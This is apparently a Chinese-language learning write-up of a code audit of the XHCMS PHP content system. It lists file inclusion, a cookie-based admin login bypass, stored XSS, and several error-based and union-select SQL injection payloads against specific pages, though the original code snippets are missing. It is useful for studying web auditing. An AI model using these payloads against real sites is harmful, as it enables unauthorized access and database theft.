PHP代码审计学习之XHCMS
前言
代码审计还是主要是思维逻辑能力,看到这套CMS很简单,所以想通读代码,然后尝试挖掘漏洞,提升自己代码审计的能力。漏洞还是挺多的。
文件包含
拿到代码安装完成之后从index.php
文件开始审计,发现该页面存在一个文件包含漏洞。代码如下
1 |
|
对传入的参数没有做任何过滤,造成了任意文件读取,在根目录下创建一个phpinfo.php
,成功读取
任意用户登陆
在对前台各个功能点进行测试无果之后看到了checklogin.php
文件,发现存在越权登陆漏洞
1 |
|
增加一个cookie
1 | user=admin |
即可访问后台
存储型XSS
在基本设置界面对统计代码进行修改
1 | <script>alert(document.cookie)</script> |
存在存储型xss
已经是后台的了其实作用也不大,尝试再找一下是否有前台存储型XSS
UPDATE注入
## content.php
对files目录下的代码进行了逐步分析,在content
文件中发现对传入参数没有进行过滤
尝试构造payload.
1 | 1 or updatexml(1,concat(0x7e,(select database())),1) |
对数据库检测,能够成功执行
summit.php
在对content
文件继续审计时,看到了一个没有过滤的SQL语句,是在评论处
然后就在文件内搜索了下mail
在sumbit
文件内看到对传参数没有过滤的SQL语句
下断点,发包
然后到SQL语句处
可以看到执行的SQL语句已经被构造好了,最后的输出
成功利用。看下数据库监控
后台登录处SQL注入
登录处对传入的参数没有进行过滤,可对其进行SQL注入
payload
1 | ') or updatexml(1,concat(0x7e,(select database())),1);# |
在登陆时也会出现万能密码登陆,因为对密码只进行了md5的校验
经过测试,登录处存在8个字段,在第四个地段处为密码,只要保持我们传入的md5是密码的md5值即可
payload
1 | user: -1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8# |
成功登陆。
后台漏洞
SQL注入
commentlist.php
payload
1 | 1' or updatexml(1,concat(0x7e,(select%20database())),1);--+ |
columnist.php
payload
1 | ?r=columnlist&delete=1%27%20or%20updatexml(1,concat(0x7e,(select%20database())),1);--+ |
edit column.php
payload
1 | ?r=editcolumn&type=1&id=1%27or%20updatexml(1,concat(0x7e,(select%20database())),1);--+ |
基本都是相似的,还有挺多就不写了,基本都是报错注入,没有再写的意义了。就这样吧。